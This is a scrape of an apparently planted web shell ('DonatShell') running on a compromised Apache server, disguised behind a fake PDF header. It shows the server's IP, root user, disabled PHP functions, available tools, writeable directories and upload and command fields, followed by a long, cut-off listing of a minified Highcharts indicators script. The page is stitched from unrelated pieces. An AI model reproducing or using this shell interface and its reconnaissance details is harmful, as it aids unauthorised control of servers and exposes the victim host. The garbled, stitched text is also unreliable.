%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.149
Web Server : Apache/2.4.18 (Ubuntu)
System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/11585/root/var/www/html/ppaobm/backend/web/assets/16c36a2e/indicators/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /proc/11585/root/var/www/html/ppaobm/backend/web/assets/16c36a2e/indicators/indicators-all.js
/*
  Highcharts JS v7.1.1 (2019-04-09)

 All technical indicators for Highstock

 (c) 2010-2019 Pawel Fus

 License: www.highcharts.com/license
*/
(function(f){"object"===typeof module&&module.exports?(f["default"]=f,module.exports=f):"function"===typeof define&&define.amd?define("highcharts/indicators/indicators-all",["highcharts","highcharts/modules/stock"],function(t){f(t);f.Highcharts=t;return f}):f("undefined"!==typeof Highcharts?Highcharts:void 0)})(function(f){function t(d,m,q,k){d.hasOwnProperty(m)||(d[m]=k.apply(null,q))}f=f?f._modules:{};t(f,"mixins/indicator-required.js",[f["parts/Globals.js"]],function(d){var m=d.error;return{isParentLoaded:function(d,
k,a,c,e){if(d)return c?c(d):!0;m(e||this.generateMessage(a,k));return!1},generateMessage:function(d,k){return'Error: "'+d+'" indicator type requires "'+k+'" indicator loaded before. Please read docs: https://api.highcharts.com/highstock/plotOptions.'+d}}});t(f,"indicators/indicators.src.js",[f["parts/Globals.js"],f["mixins/indicator-required.js"]],function(d,m){var q=d.pick,k=d.error,a=d.Series,c=d.isArray,e=d.addEvent,b=d.seriesType,g=d.seriesTypes,r=d.seriesTypes.ohlc.prototype,u=m.generateMessage;
e(d.Series,"init",function(b){b=b.options;b.useOhlcData&&"highcharts-navigator-series"!==b.id&&d.extend(this,{pointValKey:r.pointValKey,keys:r.keys,pointArrayMap:r.pointArrayMap,toYData:r.toYData})});e(a,"afterSetOptions",function(b){b=b.options;var c=b.dataGrouping;c&&b.useOhlcData&&"highcharts-navigator-series"!==b.id&&(c.approximation="ohlc")});b("sma","line",{name:void 0,tooltip:{valueDecimals:4},linkedTo:void 0,compareToMain:!1,params:{index:0,period:14}},{processData:function(){var b=this.options.compareToMain,
c=this.linkedParent;a.prototype.processData.apply(this,arguments);c&&c.compareValue&&b&&(this.compareValue=c.compareValue)},bindTo:{series:!0,eventName:"updatedData"},hasDerivedData:!0,useCommonDataGrouping:!0,nameComponents:["period"],nameSuffixes:[],calculateOn:"init",requiredIndicators:[],requireIndicators:function(){var b={allLoaded:!0};this.requiredIndicators.forEach(function(c){g[c]?g[c].prototype.requireIndicators():(b.allLoaded=!1,b.needed=c)});return b},init:function(b,c){function g(){var b=
h.points||[],c=(h.xData||[]).length,a=h.getValues(h.linkedParent,h.options.params)||{values:[],xData:[],yData:[]},e=[],g=!0,r,l;if(c&&!h.hasGroupedData&&h.visible&&h.points)if(h.cropped){h.xAxis&&(r=h.xAxis.min,l=h.xAxis.max);c=h.cropData(a.xData,a.yData,r,l);for(r=0;r<c.xData.length;r++)e.push([c.xData[r],c.yData[r]]);c=a.xData.indexOf(h.xData[0]);r=a.xData.indexOf(h.xData[h.xData.length-1]);-1===c&&r===a.xData.length-2&&e[0][0]===b[0].x&&e.shift();h.updateData(e)}else a.xData.length!==c-1&&a.xData.length!==
c+1&&(g=!1,h.updateData(a.values));g&&(h.xData=a.xData,h.yData=a.yData,h.options.data=a.values);!1===h.bindTo.series&&(delete h.processedXData,h.isDirty=!0,h.redraw());h.isDirtyData=!1}var h=this,r=h.requireIndicators();if(!r.allLoaded)return k(u(h.type,r.needed));a.prototype.init.call(h,b,c);b.linkSeries();h.dataEventsToUnbind=[];if(!h.linkedParent)return k("Series "+h.options.linkedTo+" not found! Check `linkedTo`.",!1,b);h.dataEventsToUnbind.push(e(h.bindTo.series?h.linkedParent:h.linkedParent.xAxis,
h.bindTo.eventName,g));if("init"===h.calculateOn)g();else var n=e(h.chart,h.calculateOn,function(){g();n()});return h},getName:function(){var b=this.name,c=[];b||((this.nameComponents||[]).forEach(function(b,a){c.push(this.options.params[b]+q(this.nameSuffixes[a],""))},this),b=(this.nameBase||this.type.toUpperCase())+(this.nameComponents?" ("+c.join(", ")+")":""));return b},getValues:function(b,a){var e=a.period,h=b.xData;b=b.yData;var g=b.length,r=0,u=0,k=[],n=[],p=[],d=-1,m;if(h.length<e)return!1;
for(c(b[0])&&(d=a.index?a.index:0);r<e-1;)u+=0>d?b[r]:b[r][d],r++;for(a=r;a<g;a++)u+=0>d?b[a]:b[a][d],m=[h[a],u/e],k.push(m),n.push(m[0]),p.push(m[1]),u-=0>d?b[a-r]:b[a-r][d];return{values:k,xData:n,yData:p}},destroy:function(){this.dataEventsToUnbind.forEach(function(b){b()});a.prototype.destroy.call(this)}})});t(f,"indicators/accumulation-distribution.src.js",[f["parts/Globals.js"]],function(d){var m=d.seriesType;m("ad","sma",{params:{volumeSeriesID:"volume"}},{nameComponents:!1,nameBase:"Accumulation/Distribution",
getValues:function(m,k){var a=k.period,c=m.xData,e=m.yData,b=k.volumeSeriesID,g=m.chart.get(b);k=g&&g.yData;var r=e?e.length:0,u=[],n=[],p=[];if(c.length<=a&&r&&4!==e[0].length)return!1;if(!g)return d.error("Series "+b+" not found! Check `volumeSeriesID`.",!0,m.chart);for(;a<r;a++){m=u.length;var b=e[a][1],g=e[a][2],l=e[a][3],h=k[a],b=[c[a],l===b&&l===g||b===g?0:(2*l-g-b)/(b-g)*h];0<m&&(b[1]+=u[m-1][1]);u.push(b);n.push(b[0]);p.push(b[1])}return{values:u,xData:n,yData:p}}})});t(f,"indicators/ao.src.js",
[f["parts/Globals.js"]],function(d){var m=d.correctFloat,q=d.isArray;d.seriesType("ao","sma",{greaterBarColor:"#06B535",lowerBarColor:"#F21313",threshold:0,groupPadding:.2,pointPadding:.2,states:{hover:{halo:{size:0}}}},{nameBase:"AO",nameComponents:!1,markerAttribs:d.noop,getColumnMetrics:d.seriesTypes.column.prototype.getColumnMetrics,crispCol:d.seriesTypes.column.prototype.crispCol,translate:d.seriesTypes.column.prototype.translate,drawPoints:d.seriesTypes.column.prototype.drawPoints,drawGraph:function(){var k=
this.options,a=this.points,c=k.greaterBarColor,k=k.lowerBarColor,e=a[0];if(!this.userOptions.color&&e)for(e.color=c,e=1;e<a.length;e++)a[e].color=a[e].y>a[e-1].y?c:a[e].y<a[e-1].y?k:a[e-1].color},getValues:function(k){var a=k.xData||[];k=k.yData||[];var c=k.length,e=[],b=[],g=[],r=0,u=0,n,d,l;if(34>=a.length||!q(k[0])||4!==k[0].length)return!1;for(l=0;33>l;l++)n=(k[l][1]+k[l][2])/2,29<=l&&(r=m(r+n)),u=m(u+n);for(l=33;l<c;l++)n=(k[l][1]+k[l][2])/2,r=m(r+n),u=m(u+n),n=r/5,d=u/34,n=m(n-d),e.push([a[l],
n]),b.push(a[l]),g.push(n),n=l+1-5,d=l+1-34,r=m(r-(k[n][1]+k[n][2])/2),u=m(u-(k[d][1]+k[d][2])/2);return{values:e,xData:b,yData:g}}})});t(f,"mixins/multipe-lines.js",[f["parts/Globals.js"]],function(d){var m=d.each,q=d.merge,k=d.error,a=d.defined,c=d.seriesTypes.sma;return{pointArrayMap:["top","bottom"],pointValKey:"top",linesApiNames:["bottomLine"],getTranslatedLinesNames:function(c){var b=[];m(this.pointArrayMap,function(a){a!==c&&b.push("plot"+a.charAt(0).toUpperCase()+a.slice(1))});return b},
toYData:function(c){var b=[];m(this.pointArrayMap,function(a){b.push(c[a])});return b},translate:function(){var a=this,b=a.pointArrayMap,g=[],r,g=a.getTranslatedLinesNames();c.prototype.translate.apply(a,arguments);m(a.points,function(c){m(b,function(b,e){r=c[b];null!==r&&(c[g[e]]=a.yAxis.toPixels(r,!0))})})},drawGraph:function(){var e=this,b=e.linesApiNames,g=e.points,r=g.length,u=e.options,d=e.graph,p={options:{gapSize:u.gapSize}},l=[],h=e.getTranslatedLinesNames(e.pointValKey),y;m(h,function(b,
c){for(l[c]=[];r--;)y=g[r],l[c].push({x:y.x,plotX:y.plotX,plotY:y[b],isNull:!a(y[b])});r=g.length});m(b,function(b,a){l[a]?(e.points=l[a],u[b]?e.options=q(u[b].styles,p):k('Error: "There is no '+b+' in DOCS options declared. Check if linesApiNames are consistent with your DOCS line names." at mixin/multiple-line.js:34'),e.graph=e["graph"+b],c.prototype.drawGraph.call(e),e["graph"+b]=e.graph):k('Error: "'+b+" doesn't have equivalent in pointArrayMap. To many elements in linesApiNames relative to pointArrayMap.\"")});
e.points=g;e.options=u;e.graph=d;c.prototype.drawGraph.call(e)}}});t(f,"indicators/aroon.src.js",[f["parts/Globals.js"],f["mixins/multipe-lines.js"]],function(d,m){function q(k,a){var c=k[0],e=0,b;for(b=1;b<k.length;b++)if("max"===a&&k[b]>=c||"min"===a&&k[b]<=c)c=k[b],e=b;return e}d.seriesType("aroon","sma",{params:{period:25},marker:{enabled:!1},tooltip:{pointFormat:'\x3cspan style\x3d"color:{point.color}"\x3e\u25cf\x3c/span\x3e\x3cb\x3e {series.name}\x3c/b\x3e\x3cbr/\x3eAroon Up: {point.y}\x3cbr/\x3eAroon Down: {point.aroonDown}\x3cbr/\x3e'},
aroonDown:{styles:{lineWidth:1,lineColor:void 0}},dataGrouping:{approximation:"averages"}},d.merge(m,{nameBase:"Aroon",pointArrayMap:["y","aroonDown"],pointValKey:"y",linesApiNames:["aroonDown"],getValues:function(k,a){a=a.period;var c=k.xData,e=(k=k.yData)?k.length:0,b=[],g=[],r=[],u,n,p;for(p=a-1;p<e;p++)u=k.slice(p-a+1,p+2),n=q(u.map(function(b){return d.pick(b[2],b)}),"min"),u=q(u.map(function(b){return d.pick(b[1],b)}),"max"),u=u/a*100,n=n/a*100,c[p+1]&&(b.push([c[p+1],u,n]),g.push(c[p+1]),r.push([u,
n]));return{values:b,xData:g,yData:r}}}))});t(f,"indicators/aroon-oscillator.src.js",[f["parts/Globals.js"],f["mixins/multipe-lines.js"],f["mixins/indicator-required.js"]],function(d,m,q){var k=d.seriesTypes.aroon;d.seriesType("aroonoscillator","aroon",{params:{period:25},tooltip:{pointFormat:'\x3cspan style\x3d"color:{point.color}"\x3e\u25cf\x3c/span\x3e\x3cb\x3e {series.name}\x3c/b\x3e: {point.y}'}},d.merge(m,{nameBase:"Aroon Oscillator",pointArrayMap:["y"],pointValKey:"y",linesApiNames:[],init:function(){var a=
arguments,c=this;q.isParentLoaded(k,"aroon",c.type,function(e){e.prototype.init.apply(c,a)})},getValues:function(a,c){var e=[],b=[],g=[],r,u;a=k.prototype.getValues.call(this,a,c);for(c=0;c<a.yData.length;c++)r=a.yData[c][0],u=a.yData[c][1],r-=u,e.push([a.xData[c],r]),b.push(a.xData[c]),g.push(r);return{values:e,xData:b,yData:g}}}))});t(f,"indicators/atr.src.js",[f["parts/Globals.js"]],function(d){function m(a,c){return Math.max(a[1]-a[2],c===k?0:Math.abs(a[1]-c[3]),c===k?0:Math.abs(a[2]-c[3]))}var q=
d.isArray;d=d.seriesType;var k;d("atr","sma",{params:{period:14}},{getValues:function(a,c){c=c.period;var e=a.xData,b=(a=a.yData)?a.length:0,g=1,r=0,u=0,k=[],d=[],l=[],h,y,E;E=[[e[0],a[0]]];if(e.length<=c||!q(a[0])||4!==a[0].length)return!1;for(y=1;y<=b;y++)if(E.push([e[y],a[y]]),c<g){h=c;var C=e[y-1],w=m(a[y-1],a[y-2]);h=[C,(r*(h-1)+w)/h];r=h[1];k.push(h);d.push(h[0]);l.push(h[1])}else c===g?(r=u/(y-1),k.push([e[y-1],r]),d.push(e[y-1]),l.push(r)):u+=m(a[y-1],a[y-2]),g++;return{values:k,xData:d,yData:l}}})});
t(f,"indicators/bollinger-bands.src.js",[f["parts/Globals.js"],f["mixins/multipe-lines.js"]],function(d,m){var q=d.merge,k=d.isArray,a=d.seriesTypes.sma;d.seriesType("bb","sma",{params:{period:20,standardDeviation:2,index:3},bottomLine:{styles:{lineWidth:1,lineColor:void 0}},topLine:{styles:{lineWidth:1,lineColor:void 0}},tooltip:{pointFormat:'\x3cspan style\x3d"color:{point.color}"\x3e\u25cf\x3c/span\x3e\x3cb\x3e {series.name}\x3c/b\x3e\x3cbr/\x3eTop: {point.top}\x3cbr/\x3eMiddle: {point.middle}\x3cbr/\x3eBottom: {point.bottom}\x3cbr/\x3e'},
marker:{enabled:!1},dataGrouping:{approximation:"averages"}},d.merge(m,{pointArrayMap:["top","middle","bottom"],pointValKey:"middle",nameComponents:["period","standardDeviation"],linesApiNames:["topLine","bottomLine"],init:function(){a.prototype.init.apply(this,arguments);this.options=q({topLine:{styles:{lineColor:this.color}},bottomLine:{styles:{lineColor:this.color}}},this.options)},getValues:function(c,e){var b=e.period,g=e.standardDeviation,r=c.xData,u=(c=c.yData)?c.length:0,d=[],p,l,h,y,E=[],
m=[],q,f;if(r.length<b)return!1;q=k(c[0]);for(f=b;f<=u;f++){y=r.slice(f-b,f);l=c.slice(f-b,f);p=a.prototype.getValues.call(this,{xData:y,yData:l},e);y=p.xData[0];p=p.yData[0];h=0;for(var v=l.length,x=0,A;x<v;x++)A=(q?l[x][e.index]:l[x])-p,h+=A*A;h=Math.sqrt(h/(v-1));l=p+g*h;h=p-g*h;d.push([y,l,p,h]);E.push(y);m.push([l,p,h])}return{values:d,xData:E,yData:m}}}))});t(f,"indicators/cci.src.js",[f["parts/Globals.js"]],function(d){function m(d){return d.reduce(function(a,c){return a+c},0)}var q=d.isArray;
d=d.seriesType;d("cci","sma",{params:{period:14}},{getValues:function(d,a){a=a.period;var c=d.xData,e=(d=d.yData)?d.length:0,b=[],g,r=1,u=[],k=[],p=[],l,h;if(c.length<=a||!q(d[0])||4!==d[0].length)return!1;for(;r<a;)l=d[r-1],b.push((l[1]+l[2]+l[3])/3),r++;for(r=a;r<=e;r++){l=d[r-1];l=(l[1]+l[2]+l[3])/3;h=b.push(l);g=b.slice(h-a);h=m(g)/a;var y=g.length,E=0,C;for(C=0;C<y;C++)E+=Math.abs(h-g[C]);g=E/a;l=(l-h)/(.015*g);u.push([c[r-1],l]);k.push(c[r-1]);p.push(l)}return{values:u,xData:k,yData:p}}})});
t(f,"indicators/cmf.src.js",[f["parts/Globals.js"]],function(d){d.seriesType("cmf","sma",{params:{period:14,volumeSeriesID:"volume"}},{nameBase:"Chaikin Money Flow",isValid:function(){var d=this.chart,q=this.options,k=this.linkedParent,d=this.volumeSeries||(this.volumeSeries=d.get(q.params.volumeSeriesID)),a=k&&k.yData&&4===k.yData[0].length;return!!(k&&d&&k.xData&&k.xData.length>=q.params.period&&d.xData&&d.xData.length>=q.params.period&&a)},getValues:function(d,q){return this.isValid()?this.getMoneyFlow(d.xData,
d.yData,this.volumeSeries.yData,q.period):!1},getMoneyFlow:function(d,q,k,a){function c(b,c){var a=b[1],e=b[2];b=b[3];return null!==c&&null!==a&&null!==e&&null!==b&&a!==e?(b-e-(a-b))/(a-e)*c:(y=l,null)}var e=q.length,b=[],g=0,r=0,u=[],n=[],p=[],l,h,y=-1;if(0<a&&a<=e){for(l=0;l<a;l++)b[l]=c(q[l],k[l]),g+=k[l],r+=b[l];u.push(d[l-1]);n.push(l-y>=a&&0!==g?r/g:null);for(p.push([u[0],n[0]]);l<e;l++)b[l]=c(q[l],k[l]),g-=k[l-a],g+=k[l],r-=b[l-a],r+=b[l],h=[d[l],l-y>=a?r/g:null],u.push(h[0]),n.push(h[1]),
p.push([h[0],h[1]])}return{values:p,xData:u,yData:n}}})});t(f,"indicators/dpo.src.js",[f["parts/Globals.js"]],function(d){function m(a,c,e,b,g){c=k(c[e][b],c[e]);return g?q(a-c):q(a+c)}var q=d.correctFloat,k=d.pick;d.seriesType("dpo","sma",{params:{period:21}},{nameBase:"DPO",getValues:function(a,c){var e=c.period;c=c.index;var b=e+Math.floor(e/2+1),g=a.xData||[];a=a.yData||[];var r=a.length,d=[],n=[],p=[],l=0,h,y,E;if(g.length<=b)return!1;for(y=0;y<e-1;y++)l=m(l,a,y,c);for(E=0;E<=r-b;E++)h=E+e-1,
y=E+b-1,l=m(l,a,h,c),h=k(a[y][c],a[y]),h-=l/e,l=m(l,a,E,c,!0),d.push([g[y],h]),n.push(g[y]),p.push(h);return{values:d,xData:n,yData:p}}})});t(f,"indicators/ema.src.js",[f["parts/Globals.js"]],function(d){var m=d.isArray,q=d.seriesType,k=d.correctFloat;q("ema","sma",{params:{index:3,period:9}},{accumulatePeriodPoints:function(a,c,e){for(var b=0,g=0,r;g<a;)r=0>c?e[g]:e[g][c],b+=r,g++;return b},calculateEma:function(a,c,e,b,g,r,d){a=a[e-1];c=0>r?c[e-1]:c[e-1][r];b=void 0===g?d:k(c*b+g*(1-b));return[a,
b]},getValues:function(a,c){var e=c.period,b=a.xData,g=(a=a.yData)?a.length:0,r=2/(e+1),d=[],k=[],p=[],l=-1,h;if(g<e)return!1;m(a[0])&&(l=c.index?c.index:0);for(c=this.accumulatePeriodPoints(e,l,a)/e;e<g+1;e++)h=this.calculateEma(b,a,e,r,h,l,c),d.push(h),k.push(h[0]),p.push(h[1]),h=h[1];return{values:d,xData:k,yData:p}}})});t(f,"indicators/chaikin.src.js",[f["parts/Globals.js"],f["mixins/indicator-required.js"]],function(d,m){var q=d.seriesTypes.ema,k=d.seriesTypes.ad,a=d.error,c=d.correctFloat;d.seriesType("chaikin",
"ema",{params:{volumeSeriesID:"volume",periods:[3,10]}},{nameBase:"Chaikin Osc",nameComponents:["periods"],init:function(){var c=arguments,b=this;m.isParentLoaded(q,"ema",b.type,function(a){a.prototype.init.apply(b,c)})},getValues:function(e,b){var g=b.periods,r=b.period,d=[],n=[],p=[],l;if(2!==g.length||g[1]<=g[0])return a('Error: "Chaikin requires two periods. Notice, first period should be lower than the second one."'),!1;b=k.prototype.getValues.call(this,e,{volumeSeriesID:b.volumeSeriesID,period:r});
if(!b)return!1;e=q.prototype.getValues.call(this,b,{period:g[0]});b=q.prototype.getValues.call(this,b,{period:g[1]});if(!e||!b)return!1;g=g[1]-g[0];for(l=0;l<b.yData.length;l++)r=c(e.yData[l+g]-b.yData[l]),d.push([b.xData[l],r]),n.push(b.xData[l]),p.push(r);return{values:d,xData:n,yData:p}}})});t(f,"indicators/dema.src.js",[f["parts/Globals.js"],f["mixins/indicator-required.js"]],function(d,m){var q=d.isArray,k=d.seriesTypes.ema,a=d.correctFloat;d.seriesType("dema","ema",{},{init:function(){var c=
arguments,a=this;m.isParentLoaded(k,"ema",a.type,function(b){b.prototype.init.apply(a,c)})},getEMA:function(c,a,b,g,r,d){return k.prototype.calculateEma(d||[],c,void 0===r?1:r,this.chart.series[0].EMApercent,a,void 0===g?-1:g,b)},getValues:function(c,e){var b=e.period,g=2*b,r=c.xData,d=c.yData,n=d?d.length:0,p=-1,l=[],h=[],y=[],E=0,m,w,f=[],v,x;c.EMApercent=2/(b+1);if(n<2*b-1)return!1;q(d[0])&&(p=e.index?e.index:0);c=k.prototype.accumulatePeriodPoints(b,p,d);e=c/b;c=0;for(v=b;v<n+2;v++)v<n+1&&(E=
this.getEMA(d,w,e,p,v)[1],f.push(E)),w=E,v<g?c+=E:(v===g&&(e=c/b),E=f[v-b-1],m=this.getEMA([E],m,e)[1],x=[r[v-2],a(2*E-m)],l.push(x),h.push(x[0]),y.push(x[1]));return{values:l,xData:h,yData:y}}})});t(f,"indicators/tema.src.js",[f["parts/Globals.js"],f["mixins/indicator-required.js"]],function(d,m){var q=d.isArray,k=d.seriesTypes.ema,a=d.correctFloat;d.seriesType("tema","ema",{},{init:function(){var c=arguments,a=this;m.isParentLoaded(k,"ema",a.type,function(b){b.prototype.init.apply(a,c)})},getEMA:function(c,
a,b,g,r,d){return k.prototype.calculateEma(d||[],c,void 0===r?1:r,this.chart.series[0].EMApercent,a,void 0===g?-1:g,b)},getPoint:function(c,e,b,g){return[c[g-3],a(3*b.level1-3*b.level2+b.level3)]},getValues:function(c,a){var b=a.period,g=2*b,e=3*b,d=c.xData,n=c.yData,p=n?n.length:0,l=-1,h=[],y=[],E=[],m,w,f=[],v=[],x,A,B={};c.EMApercent=2/(b+1);if(p<3*b-2)return!1;q(n[0])&&(l=a.index?a.index:0);c=k.prototype.accumulatePeriodPoints(b,l,n);a=c/b;c=0;for(x=b;x<p+3;x++)if(x<p+1&&(B.level1=this.getEMA(n,
m,a,l,x)[1],f.push(B.level1)),m=B.level1,x<g)c+=B.level1;else if(x===g&&(a=c/b,c=0),B.level1=f[x-b-1],B.level2=this.getEMA([B.level1],w,a)[1],v.push(B.level2),w=B.level2,x<e)c+=B.level2;else{x===e&&(a=c/b);x===p+1&&(B.level1=f[x-b-1],B.level2=this.getEMA([B.level1],w,a)[1],v.push(B.level2));B.level1=f[x-b-2];B.level2=v[x-2*b-1];B.level3=this.getEMA([B.level2],B.prevLevel3,a)[1];if(A=this.getPoint(d,e,B,x))h.push(A),y.push(A[0]),E.push(A[1]);B.prevLevel3=B.level3}return{values:h,xData:y,yData:E}}})});
t(f,"indicators/trix.src.js",[f["parts/Globals.js"],f["mixins/indicator-required.js"]],function(d,m){var q=d.correctFloat,k=d.seriesTypes.tema;d.seriesType("trix","tema",{},{init:function(){var a=arguments,c=this;m.isParentLoaded(k,"tema",c.type,function(e){e.prototype.init.apply(c,a)})},getPoint:function(a,c,e,b){if(b>c)var g=[a[b-3],0!==e.prevLevel3?q(e.level3-e.prevLevel3)/e.prevLevel3*100:null];return g}})});t(f,"indicators/apo.src.js",[f["parts/Globals.js"],f["mixins/indicator-required.js"]],
function(d,m){var q=d.seriesTypes.ema,k=d.error;d.seriesType("apo","ema",{params:{periods:[10,20]}},{nameBase:"APO",nameComponents:["periods"],init:function(){var a=arguments,c=this;m.isParentLoaded(q,"ema",c.type,function(e){e.prototype.init.apply(c,a)})},getValues:function(a,c){var e=c.periods,b=c.index;c=[];var g=[],r=[],d,n;if(2!==e.length||e[1]<=e[0])return k('Error: "APO requires two periods. Notice, first period should be lower than the second one."'),!1;d=q.prototype.getValues.call(this,a,
{index:b,period:e[0]});a=q.prototype.getValues.call(this,a,{index:b,period:e[1]});if(!d||!a)return!1;e=e[1]-e[0];for(n=0;n<a.yData.length;n++)b=d.yData[n+e]-a.yData[n],c.push([a.xData[n],b]),g.push(a.xData[n]),r.push(b);return{values:c,xData:g,yData:r}}})});t(f,"indicators/ichimoku-kinko-hyo.src.js",[f["parts/Globals.js"]],function(d){function m(b){return b.reduce(function(b,c){return Math.max(b,c[1])},-Infinity)}function q(b){return b.reduce(function(b,c){return Math.min(b,c[2])},Infinity)}function k(b){return{high:m(b),
low:q(b)}}function a(c){var a,e,h,g,d;c.series.forEach(function(c){if(c.xData)for(g=c.xData,d=e=c.xIncrement?1:g.length-1;0<d;d--)if(h=g[d]-g[d-1],a===b||h<a)a=h});return a}function c(b,c,a,e){if(b&&c&&a&&e){var g=c.plotX-b.plotX;c=c.plotY-b.plotY;var h=e.plotX-a.plotX;e=e.plotY-a.plotY;var d=b.plotX-a.plotX,r=b.plotY-a.plotY;a=(-c*d+g*r)/(-h*c+g*e);h=(h*r-e*d)/(-h*c+g*e);if(0<=a&&1>=a&&0<=h&&1>=h)return{plotX:b.plotX+h*g,plotY:b.plotY+h*c}}return!1}function e(b){var c=b.indicator;c.points=b.points;
c.nextPoints=b.nextPoints;c.color=b.color;c.options=r(b.options.senkouSpan.styles,b.gap);c.graph=b.graph;c.fillGraph=!0;l.prototype.drawGraph.call(c)}var b,g=d.seriesType,r=d.merge,u=d.color,n=d.isArray,p=d.defined,l=d.seriesTypes.sma;d.approximations["ichimoku-averages"]=function(){var b=[],c;[].forEach.call(arguments,function(a,e){b.push(d.approximations.average(a));c=!c&&void 0===b[e]});return c?void 0:b};g("ikh","sma",{params:{period:26,periodTenkan:9,periodSenkouSpanB:52},marker:{enabled:!1},
tooltip:{pointFormat:'\x3cspan style\x3d"color:{point.color}"\x3e\u25cf\x3c/span\x3e \x3cb\x3e {series.name}\x3c/b\x3e\x3cbr/\x3eTENKAN SEN: {point.tenkanSen:.3f}\x3cbr/\x3eKIJUN SEN: {point.kijunSen:.3f}\x3cbr/\x3eCHIKOU SPAN: {point.chikouSpan:.3f}\x3cbr/\x3eSENKOU SPAN A: {point.senkouSpanA:.3f}\x3cbr/\x3eSENKOU SPAN B: {point.senkouSpanB:.3f}\x3cbr/\x3e'},tenkanLine:{styles:{lineWidth:1,lineColor:void 0}},kijunLine:{styles:{lineWidth:1,lineColor:void 0}},chikouLine:{styles:{lineWidth:1,lineColor:void 0}},
senkouSpanA:{styles:{lineWidth:1,lineColor:void 0}},senkouSpanB:{styles:{lineWidth:1,lineColor:void 0}},senkouSpan:{styles:{fill:"rgba(255, 0, 0, 0.5)"}},dataGrouping:{approximation:"ichimoku-averages"}},{pointArrayMap:["tenkanSen","kijunSen","chikouSpan","senkouSpanA","senkouSpanB"],pointValKey:"tenkanSen",nameComponents:["periodSenkouSpanB","period","periodTenkan"],init:function(){l.prototype.init.apply(this,arguments);this.options=r({tenkanLine:{styles:{lineColor:this.color}},kijunLine:{styles:{lineColor:this.color}},
chikouLine:{styles:{lineColor:this.color}},senkouSpanA:{styles:{lineColor:this.color,fill:u(this.color).setOpacity(.5).get()}},senkouSpanB:{styles:{lineColor:this.color,fill:u(this.color).setOpacity(.5).get()}},senkouSpan:{styles:{fill:u(this.color).setOpacity(.2).get()}}},this.options)},toYData:function(b){return[b.tenkanSen,b.kijunSen,b.chikouSpan,b.senkouSpanA,b.senkouSpanB]},translate:function(){var b=this;l.prototype.translate.apply(b);b.points.forEach(function(c){b.pointArrayMap.forEach(function(a){p(c[a])&&
(c["plot"+a]=b.yAxis.toPixels(c[a],!0),c.plotY=c["plot"+a],c.tooltipPos=[c.plotX,c["plot"+a]],c.isNull=!1)})})},drawGraph:function(){var b=this,a=b.points,g=a.length,k=b.options,u=b.graph,n=b.color,m={options:{gapSize:k.gapSize}},q=b.pointArrayMap.length,f=[[],[],[],[],[],[]],B={tenkanLine:f[0],kijunLine:f[1],chikouLine:f[2],senkouSpanA:f[3],senkouSpanB:f[4],senkouSpan:f[5]},t=[],z=b.options.senkouSpan,M=z.color||z.styles.fill,L=z.negativeColor,D=[[],[]],J=[[],[]],N=0,F,I,O,K;for(b.ikhMap=B;g--;){F=
a[g];for(I=0;I<q;I++)z=b.pointArrayMap[I],p(F[z])&&f[I].push({plotX:F.plotX,plotY:F["plot"+z],isNull:!1});L&&g!==a.length-1&&(z=B.senkouSpanB.length-1,F=c(B.senkouSpanA[z-1],B.senkouSpanA[z],B.senkouSpanB[z-1],B.senkouSpanB[z]),I={plotX:F.plotX,plotY:F.plotY,isNull:!1,intersectPoint:!0},F&&(B.senkouSpanA.splice(z,0,I),B.senkouSpanB.splice(z,0,I),t.push(z)))}d.objectEach(B,function(c,a){k[a]&&"senkouSpan"!==a&&(b.points=f[N],b.options=r(k[a].styles,m),b.graph=b["graph"+a],b.fillGraph=!1,b.color=n,
l.prototype.drawGraph.call(b),b["graph"+a]=b.graph);N++});b.graphCollection&&b.graphCollection.forEach(function(c){b[c].destroy();delete b[c]});b.graphCollection=[];if(L&&B.senkouSpanA[0]&&B.senkouSpanB[0]){t.unshift(0);t.push(B.senkouSpanA.length-1);for(q=0;q<t.length-1;q++){z=t[q];F=t[q+1];g=B.senkouSpanB.slice(z,F+1);z=B.senkouSpanA.slice(z,F+1);if(1<=Math.floor(g.length/2))if(F=Math.floor(g.length/2),g[F].plotY===z[F].plotY){for(K=I=F=0;K<g.length;K++)F+=g[K].plotY,I+=z[K].plotY;F=F>I?0:1}else F=
g[F].plotY>z[F].plotY?0:1;else F=g[0].plotY>z[0].plotY?0:1;D[F]=D[F].concat(g);J[F]=J[F].concat(z)}["graphsenkouSpanColor","graphsenkouSpanNegativeColor"].forEach(function(c,a){D[a].length&&J[a].length&&(O=0===a?M:L,e({indicator:b,points:D[a],nextPoints:J[a],color:O,options:k,gap:m,graph:b[c]}),b[c]=b.graph,b.graphCollection.push(c))})}else e({indicator:b,points:B.senkouSpanB,nextPoints:B.senkouSpanA,color:M,options:k,gap:m,graph:b.graphsenkouSpan}),b.graphsenkouSpan=b.graph;delete b.nextPoints;delete b.fillGraph;
b.points=a;b.options=k;b.graph=u},getGraphPath:function(b){var c,a,g=[];b=b||this.points;if(this.fillGraph&&this.nextPoints){a=l.prototype.getGraphPath.call(this,this.nextPoints);a[0]="L";c=l.prototype.getGraphPath.call(this,b);a=a.slice(0,c.length);for(var e=a.length-1;0<e;e-=3)g.push(a[e-2],a[e-1],a[e]);c=c.concat(g)}else c=l.prototype.getGraphPath.apply(this,arguments);return c},getValues:function(c,g){var e=g.period,d=g.periodTenkan;g=g.periodSenkouSpanB;var r=c.xData,h=c.yData,l=h&&h.length||
